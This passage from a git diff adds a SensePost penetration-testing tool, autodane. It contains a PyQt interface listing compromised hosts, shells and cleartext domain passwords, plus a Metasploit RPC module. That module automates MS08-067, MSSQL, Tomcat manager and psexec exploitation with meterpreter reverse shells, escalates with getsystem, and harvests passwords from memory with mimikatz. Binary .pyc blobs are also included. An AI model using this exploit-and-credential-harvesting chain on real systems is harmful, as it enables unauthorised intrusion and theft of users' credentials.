self.tblDomainCreds.setItem(row, 0, QTableWidgetItem(creds[0])) + if creds[1] == 1: + self.tblDomainCreds.setItem(row, 1, QTableWidgetItem("Y")) + else: + self.tblDomainCreds.setItem(row, 1, QTableWidgetItem("N")) + + self.tblDomainCreds.setItem(row, 2, QTableWidgetItem(creds[2])) + self.tblDomainCreds.setItem(row, 3, QTableWidgetItem(creds[3])) + self.tblDomainCreds.setItem(row, 4, QTableWidgetItem(creds[4])) + self.tblDomainCreds.setItem(row, 5, QTableWidgetItem(creds[5])) + self.tblDomainCreds.setItem(row, 6, QTableWidgetItem(creds[6])) + cursor.close() + self.tblDomainCreds.resizeColumnsToContents() + + def updateSummaryLabel(self): + cursor = self.db.cursor() + cursor.execute('select (select count(*) from host_data where footprint_id = %s) as "hosts", (select count(*) from ports where host_data_id in (select id from host_data where footprint_id = %s)) as "ports", (select count(*) from ports where host_data_id in (select id from host_data where footprint_id = %s) and shell = 1) as "shells"', (self.footprintID, self.footprintID, self.footprintID)) + + row = cursor.fetchone() + self.lblSummary.setText("Identified {0} hosts, {1} open ports, {2} shells".format(row[0], row[1], row[2])) + + cursor.close() + + def updatePortsSummaryTable(self): + cursor = self.db.cursor() + cursor.execute('select port_num, count(port_num) from ports where host_data_id in (select id from host_data where footprint_id = %s) group by port_num', (self.footprintID)) + + self.tblPortsSummary.setRowCount(0) + + for port in cursor.fetchall(): + row = self.tblPortsSummary.rowCount() + self.tblPortsSummary.setRowCount(row + 1) + + self.tblPortsSummary.setItem(row, 0, QTableWidgetItem(str(port[0]))) + self.tblPortsSummary.setItem(row, 1, QTableWidgetItem(str(port[1]))) + + cursor.close() + self.tblPortsSummary.resizeColumnsToContents() + + def updateVulnsSummaryTable(self): + cursor = self.db.cursor() + cursor.execute('select vulnerability_name, count(vulnerability_name) as "count" from ports where host_data_id in (select id from host_data where footprint_id = %s) and vulnerable = 1 group by vulnerability_name', (self.footprintID)) + + self.tblVulnsSummary.setRowCount(0) + + for vuln in cursor.fetchall(): + row = self.tblVulnsSummary.rowCount() + self.tblVulnsSummary.setRowCount(row + 1) + + self.tblVulnsSummary.setItem(row, 0, QTableWidgetItem(vuln[0])) + self.tblVulnsSummary.setItem(row, 1, QTableWidgetItem(str(vuln[1]))) + + cursor.close() + self.tblVulnsSummary.resizeColumnsToContents() + + def updateDomainsSummaryTable(self): + cursor = self.db.cursor() + cursor.execute('select domain_name from domains where footprint_id = %s', (self.footprintID)) + + self.tblDomains.setRowCount(0) + + for item in cursor.fetchall(): + row = self.tblDomains.rowCount() + self.tblDomains.setRowCount(row + 1) + + self.tblDomains.setItem(row, 0, QTableWidgetItem(item[0])) + + cursor.close() + self.tblDomains.resizeColumnsToContents() + + def updateWebServersTable(self): + cursor = self.db.cursor() + cursor.execute('select hd.ip_address, hd.host_name, p.port_num, p.http_title from host_data hd join ports p on hd.id = p.host_data_id where hd.footprint_id = %s and p.http_title_checked = 1', (self.footprintID)) + #cursor.execute('select hd.ip_address, hd.host_name, p.port_num, p.http_title from host_data hd join ports p on hd.id = p.host_data_id where hd.footprint_id = %s and p.http_title != ""', (self.footprintID)) + + self.tblWebServers.setRowCount(0) + + for item in cursor.fetchall(): + row = self.tblWebServers.rowCount() + self.tblWebServers.setRowCount(row + 1) + + url = "http" + if item[2] in [443, 8443]: + url = url + "s" + url = url + "://{0}:{1}".format(item[0], item[2]) + + self.tblWebServers.setItem(row, 0, QTableWidgetItem(item[0])) + self.tblWebServers.setItem(row, 1, QTableWidgetItem(item[1])) + self.tblWebServers.setItem(row, 2, QTableWidgetItem(str(item[2]))) + self.tblWebServers.setItem(row, 3, QTableWidgetItem(url)) + self.tblWebServers.setItem(row, 4, QTableWidgetItem(item[3])) + + cursor.close() + self.tblWebServers.resizeColumnsToContents() + + def updateDomainsSummaryTable(self): + cursor = self.db.cursor() + cursor.execute('select domain_name from domains where footprint_id = %s', (self.footprintID)) + + self.tblDomains.setRowCount(0) + + for item in cursor.fetchall(): + row = self.tblDomains.rowCount() + self.tblDomains.setRowCount(row + 1) + + self.tblDomains.setItem(row, 0, QTableWidgetItem(item[0])) + + cursor.close() + self.tblDomains.resizeColumnsToContents() + + def updatePendingFootprinting(self): + cursor = self.db.cursor() + cursor.execute('call report_pendingFootprinting(%s)', (self.footprintID)) + + self.tblPendingFootprinting.setRowCount(0) + + for item in cursor.fetchall(): + row = self.tblPendingFootprinting.rowCount() + self.tblPendingFootprinting.setRowCount(row + 1) + + self.tblPendingFootprinting.setItem(row, 0, QTableWidgetItem(item[0])) + self.tblPendingFootprinting.setItem(row, 1, QTableWidgetItem(str(item[1]))) + + cursor.close() + self.tblPendingFootprinting.resizeColumnsToContents() + + def updatePendingVulnScanning(self): + cursor = self.db.cursor() + cursor.execute('call report_pendingVulnScanning(%s)', (self.footprintID)) + + self.tblPendingVulnScanning.setRowCount(0) + + for item in cursor.fetchall(): + row = self.tblPendingVulnScanning.rowCount() + self.tblPendingVulnScanning.setRowCount(row + 1) + + self.tblPendingVulnScanning.setItem(row, 0, QTableWidgetItem(str(item[0]))) + self.tblPendingVulnScanning.setItem(row, 1, QTableWidgetItem(str(item[1]))) + + cursor.close() + self.tblPendingVulnScanning.resizeColumnsToContents() + + def updateCredMap(self): + cursor = self.db.cursor() + cursor.execute('select hd.ip_address, hd.host_name, dc.domain_name, dc.username, dc.cleartext_password, m.successful from cred_host_map m join host_data hd on m.host_data_id = hd.id join domain_creds dc on m.domain_creds_id = dc.id where hd.footprint_id = %s and m.successful = 1', (self.footprintID)) + + self.tblValidCreds.setRowCount(0) + + for item in cursor.fetchall(): + row = self.tblValidCreds.rowCount() + self.tblValidCreds.setRowCount(row + 1) + + self.tblValidCreds.setItem(row, 0, QTableWidgetItem(str(item[0]))) + self.tblValidCreds.setItem(row, 1, QTableWidgetItem(str(item[1]))) + self.tblValidCreds.setItem(row, 2, QTableWidgetItem(str(item[2]))) + self.tblValidCreds.setItem(row, 3, QTableWidgetItem(str(item[3]))) + self.tblValidCreds.setItem(row, 4, QTableWidgetItem(str(item[4]))) + + cursor.close() + self.tblValidCreds.resizeColumnsToContents() + + cursor = self.db.cursor() + cursor.execute('select hd.ip_address, hd.host_name, dc.domain_name, dc.username, dc.cleartext_password, m.successful from cred_host_map m join host_data hd on m.host_data_id = hd.id join domain_creds dc on m.domain_creds_id = dc.id where hd.footprint_id = %s and m.successful = 0', (self.footprintID)) + + self.tblInvalidCreds.setRowCount(0) + + for item in cursor.fetchall(): + row = self.tblInvalidCreds.rowCount() + self.tblInvalidCreds.setRowCount(row + 1) + + self.tblInvalidCreds.setItem(row, 0, QTableWidgetItem(str(item[0]))) + self.tblInvalidCreds.setItem(row, 1, QTableWidgetItem(str(item[1]))) + self.tblInvalidCreds.setItem(row, 2, QTableWidgetItem(str(item[2]))) + self.tblInvalidCreds.setItem(row, 3, QTableWidgetItem(str(item[3]))) + self.tblInvalidCreds.setItem(row, 4, QTableWidgetItem(str(item[4]))) + + cursor.close() + self.tblInvalidCreds.resizeColumnsToContents() + + def updateUI(self): + #print "updateUI() called from thread [{0}]".format(threading.current_thread().name) + self.initHostsTreeview() + self.updateHostsTreeview() + + self.initVulnsTreeview() + self.updateVulnsTreeview() + + self.updateDomainCredsTable() + + self.updatePortsSummaryTable() + self.updateVulnsSummaryTable() + self.updateDomainsSummaryTable() + self.updateWebServersTable() + self.updateSummaryLabel() + self.updatePendingFootprinting() + self.updatePendingVulnScanning() + self.updateCredMap() + + if self.cbxUpdateUI.isChecked() == True: + threading.Timer(self.updateUiInterval, self.callUpdateUiTrigger).start() + + @pyqtSignature("int") + def on_cbxUpdateUI_stateChanged(self, p0): + if p0: + threading.Timer(self.updateUiInterval, self.callUpdateUiTrigger).start() + + @pyqtSignature("") + def on_btnUpdateUI_clicked(self): + self.updateUI() + #threading.Timer(self.updateUiInterval, self.callUpdateUiTrigger).start() + + @pyqtSignature("") + def on_btnAddHost_clicked(self): + addHostWnd = addhost() + if addHostWnd.exec_(): + dbfunctions.addIP(self.db, self.footprintID, addHostWnd.getResult(), False) + self.updateUI() + + @pyqtSignature("") + def on_btnAddDomain_clicked(self): + addDomainWnd = AddDomainDialog() + if addDomainWnd.exec_(): + dbfunctions.addDomain(self.db, self.footprintID, addDomainWnd.getResult()) + self.updateUI() + + @pyqtSignature("") + def on_btnAddDomainCreds_clicked(self): + addDomainCredsWnd = AddDomainCredsDialog() + if addDomainCredsWnd.exec_(): + res = addDomainCredsWnd.getResult() + dbfunctions.addDomainCreds(self.db, self.footprintID, res[0], res[1], res[2], "", "", "") + self.updateUI() diff --git a/source/mainwindow.pyc b/source/mainwindow.pyc new file mode 100644 index 0000000000000000000000000000000000000000..4758c5d61bc998785eef7e2745c44f46328c78e5 GIT binary patch literal 16339 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 + + MainWindow + + + + 0 + 0 + 741 + 477 + + + + MainWindow + + + + + + + 3 + + + + Hosts + + + + + + true + + + + + + + + Vulnerabilities + + + + + + true + + + + + + + + Domain Credentials + + + + + + true + + + + Domain + + + + + Is DA + + + + + Username + + + + + Password + + + + + lm hash + + + + + ntlm hash + + + + + http ntlm hash + + + + + + + + + Summary + + + + + + Identified 0 hosts, 0 open ports, 0 shells + + + + + + + true + + + + Port + + + + + Number Found + + + + + + + + true + + + + Vulnerability + + + + + Number Found + + + + + + + + true + + + + Domain + + + + + + + + + Web Servers + + + + + + true + + + + IP Address + + + + + Hostname + + + + + Port + + + + + URL + + + + + Title + + + + + + + + + Pending Work + + + + + + + Port to check + + + + + Count + + + + + + + + Pending Vuln Scanning + + + + + + + + Work + + + + + Count + + + + + + + + Pending Footprinting + + + + + + + + Cred Map + + + + + + Valid Creds + + + + + + + Invalid Creds + + + + + + + + Host + + + + + Host Name + + + + + Domain + + + + + Username + + + + + Password + + + + + + + + + Host + + + + + Host Name + + + + + Domain + + + + + Username + + + + + Password + + + + + + + + + About + + + + + + + + autodane v1.0 + + + + + + + Written by Dane Goodwin, + + + + + + + Security Analyst at SensePost + + + + + + + + + + + + + + + + + 0 + 0 + + + + emailicon + + + + + + + Research@SensePost.com + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + + + + + 0 + 0 + + + + emailicon + + + + + + + Dane@SensePost.com + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + + + + skypelogo + + + + + + + dane_goodwin + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + Qt::Horizontal + + + + 40 + 20 + + + + + + + + + + + 0 + 0 + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 300 + 250 + + + + SP Logo + + + + + + + + + + SensePost.com + + + Qt::AlignCenter + + + + + + + Qt::Vertical + + + + 20 + 40 + + + + + + + + + + + + + + Add Host + + + + + + + Add Domain + + + + + + + Add Domain Creds + + + + + + + Update UI + + + + + + + + 115 + 0 + + + + + 100 + 16777215 + + + + Update the UI every second + + + Continuously + + + true + + + + + + + + + diff --git a/source/metasploitfunctions.py b/source/metasploitfunctions.py new file mode 100644 index 0000000..4ed40d9 --- /dev/null +++ b/source/metasploitfunctions.py @@ -0,0 +1,282 @@ +import sys +import os +import msfrpc +import time +import netifaces +import socket + +def logVal(fn, val): + print "{0} :: {1}".format(fn, val) + f = open("logs/{0}".format(fn),'a+') + f.write(val + '\n') + f.close() + +def extractMimikatzCreds(log): + logVal("mimi", "entered extractMimikatzCreds()") + logVal("mimi", "") + logVal("mimi", "") + logVal("mimi", "") + creds = [] + current = False + for l in log: + #logVal("mimi", l) + if l.find("Loading extension mimikatz...success.") != -1: + current = True + elif current: + if l[:3] == "[*]": + current = False + + if current: + if l.find("There are no more files") != -1: + res = "skipping. no creds stored in memory" + elif l.find("LSASS en erreur") != -1: + res = "skipping. no creds stored in memory" + elif l[:3] != "[*]": + try: + details = l.split("{")[1].split("}")[0].split(";") + username = details[0][1:-1] + domain = details[1][1:-1] + password = details[2][1:-1] + #print "u:[{0}] d:[{1}] p:[{2}]".format(username, domain, password) + creds.append([username, domain, password]) + except: + print "error in extractMimikatzCreds :: l was [{0}]".format(l) + #log("mimi", "error in extractMimikatzCreds :: l was [{0}]".format(str(l))) + return creds + +def exploitMS08067(client, console_id, lhost, rhost, msfpass): + client.call('console.write', [console_id,"use exploit/windows/smb/ms08_067_netapi\n"]) + time.sleep(1) + client.call('console.write', [console_id, """set PAYLOAD windows/meterpreter/reverse_tcp +set RHOST """+rhost+""" +set LHOST """+lhost+""" +set LPORT """+getOpenPort()+""" +\n"""]) + time.sleep(1) + client.call('console.write', [console_id, "exploit\n"]) + time.sleep(1) + + log = [] + busy = True + sessionOpen = False + gotSystem = False + runMimikatz = False + + while busy: + time.sleep(1) + cl = client.call('console.read',[console_id]) + print cl + res = cl['data'] + + if res != '': + for r in res.split("\n"): + if r != "": + log.append(r) + logVal("ms08", r) + if r.find("Meterpreter session") > -1 and r.find("opened") > -1: + #if r.find("100.00% done") > -1: + sessionOpen = True + elif r.find('Shutting down Meterpreter') != -1: + busy = False + elif r.find('closed. Reason') != -1: + busy = False + elif r.find('Exploit failed') != -1: + busy = False + + if sessionOpen: + if gotSystem == False: + client.call('console.write', [console_id, "getsystem\n"]) + time.sleep(2) + if runMimikatz == False: + client.call('console.write', [console_id, "use mimikatz\n"]) + time.sleep(1) + client.call('console.write', [console_id, "mimikatz_command -f sekurlsa::searchPasswords\n"]) + time.sleep(1) + client.call('console.write', [console_id, "exit\n"]) + time.sleep(3) + +# prompt = "" +# while prompt != "msf > ": +# time.sleep(1) +# cl = client.call('console.read',[console_id]) +# print cl +# #res = cl['data'] +# prompt = cl['prompt'] + + return log + +def exploitWeakMsSqlCreds(client, console_id, lhost, rhost, msfpass, sqluser, sqlpass): + #TODO: add a different port + client.call('console.write', [console_id,"use exploit/windows/mssql/mssql_payload\n"]) + time.sleep(1) + client.call('console.write', [console_id, """set PAYLOAD windows/meterpreter/reverse_tcp +set RHOST """+rhost+""" +set LHOST """+lhost+""" +set LPORT """+getOpenPort()+""" +set username """+sqluser+""" +set password """+sqlpass+""" +\n"""]) + time.sleep(1) + client.call('console.write', [console_id, "exploit\n"]) + time.sleep(1) + + log = [] + busy = True + sessionOpen = False + gotSystem = False + runMimikatz = False + + while busy: + time.sleep(1) + cl = client.call('console.read',[console_id]) + print cl + res = cl['data'] + + if res != '': + for r in res.split("\n"): + if r != "": + log.append(r) + logVal("sql", r) + if r.find("Meterpreter session") > -1 and r.find("opened") > -1: + #if r.find("100.00% done") > -1: + sessionOpen = True + elif r.find('Shutting down Meterpreter') != -1: + busy = False + elif r.find('closed. Reason') != -1: + busy = False + elif r.find('Exploit failed') != -1: + busy = False + + if sessionOpen: + if gotSystem == False: + client.call('console.write', [console_id, "getsystem\n"]) + time.sleep(3) + if runMimikatz == False: + client.call('console.write', [console_id, "use mimikatz\n"]) + time.sleep(1) + client.call('console.write', [console_id, "mimikatz_command -f sekurlsa::searchPasswords\n"]) + time.sleep(1) + client.call('console.write', [console_id, "exit\n"]) + time.sleep(3) + return log + +def exploitWeakTomcatCreds(client, console_id, lhost, rhost, msfpass, sqluser, sqlpass): + #TODO: pass the port as a parameter + client.call('console.write', [console_id,"use exploit/multi/http/tomcat_mgr_upload\n"]) + time.sleep(1) + #client.call('console.write', [console_id,"set target 1\n"]) + #time.sleep(1) + client.call('console.write', [console_id, """set PAYLOAD windows/meterpreter/reverse_tcp +set RHOST """+rhost+""" +set RPORT """+"8080"+""" +set TARGET """+"1"+""" +set LHOST """+lhost+""" +set LPORT """+getOpenPort()+""" +set username """+sqluser+""" +set password """+sqlpass+""" +\n"""]) + time.sleep(1) + client.call('console.write', [console_id, "exploit\n"]) + time.sleep(1) + + log = [] + busy = True + sessionOpen = False + gotSystem = False + runMimikatz = False + + while busy: + time.sleep(1) + cl = client.call('console.read',[console_id]) + print cl + res = cl['data'] + + if res != '': + for r in res.split("\n"): + if r != "": + log.append(r) + logVal("tomcat", r) + if r.find("Meterpreter session") > -1 and r.find("opened") > -1: + sessionOpen = True + elif r.find('Shutting down Meterpreter') != -1: + busy = False + elif r.find('closed. Reason') != -1: + busy = False + elif r.find('Exploit failed') != -1: + busy = False + + if sessionOpen: + if gotSystem == False: + client.call('console.write', [console_id, "getsystem\n"]) + time.sleep(3) + if runMimikatz == False: + client.call('console.write', [console_id, "use mimikatz\n"]) + time.sleep(1) + client.call('console.write', [console_id, "mimikatz_command -f sekurlsa::searchPasswords\n"]) + time.sleep(1) + client.call('console.write', [console_id, "exit\n"]) + time.sleep(3) + return log + +def getOpenPort(): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('localhost', 0)) + addr, port = s.getsockname() + s.close() + return str(port) + +def loginWithPsExec(client, console_id, lhost, rhost, msfpass, domain, user, password): + + client.call('console.write', [console_id,"use exploit/windows/smb/psexec\n"]) + time.sleep(1) + client.call('console.write', [console_id, """set PAYLOAD windows/meterpreter/reverse_tcp +set RHOST """+rhost+""" +set LHOST """+lhost+""" +set LPORT """+getOpenPort()+""" +set smbdomain """+domain+""" +set smbuser """+user+""" +set smbpass """+password+""" +\n"""]) + time.sleep(1) + client.call('console.write', [console_id, "exploit\n"]) + time.sleep(1) + + log = [] + busy = True + sessionOpen = False + gotSystem = False + runMimikatz = False + + while busy: + time.sleep(1) + cl = client.call('console.read',[console_id]) + print cl + res = cl['data'] + + if res != '': + for r in res.split("\n"): + if r != "": + log.append(r) + logVal("cred", r) + if r.find("Meterpreter session") > -1 and r.find("opened") > -1: + #if r.find("100.00% done") > -1: + sessionOpen = True + elif r.find('Shutting down Meterpreter') != -1: + busy = False + elif r.find('closed. Reason') != -1: + busy = False + elif r.find('Exploit failed') != -1: + busy = False + + if sessionOpen: + if gotSystem == False: + client.call('console.write', [console_id, "getsystem\n"]) + time.sleep(3) + if runMimikatz == False: + client.call('console.write', [console_id, "use mimikatz\n"]) + time.sleep(1) + client.call('console.write', [console_id, "mimikatz_command -f sekurlsa::searchPasswords\n"]) + time.sleep(5) + client.call('console.write', [console_id, "exit\n"]) + time.sleep(3) + return log diff --git a/source/metasploitfunctions.pyc b/source/metasploitfunctions.pyc new file mode 100644 index 0000000000000000000000000000000000000000..e6a190992f8e1b9e03e0f6ce2f9b1a7128fa3ef5 GIT binary patch literal 7987 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 literal 0 HcmV?d00001 diff --git a/source/repeatedtimer.py b/source/repeatedtimer.py new file mode 100644 index 0000000..efacefc --- /dev/null +++ b/source/repeatedtimer.py @@ -0,0 +1,26 @@ +from threading import Timer + +class RepeatedTimer(object): + def __init__(self, interval, function, *args, **kwargs): + self._timer = None + self.interval = interval + self.function = function + self.args = args + self.kwargs = kwargs + self.is_running = 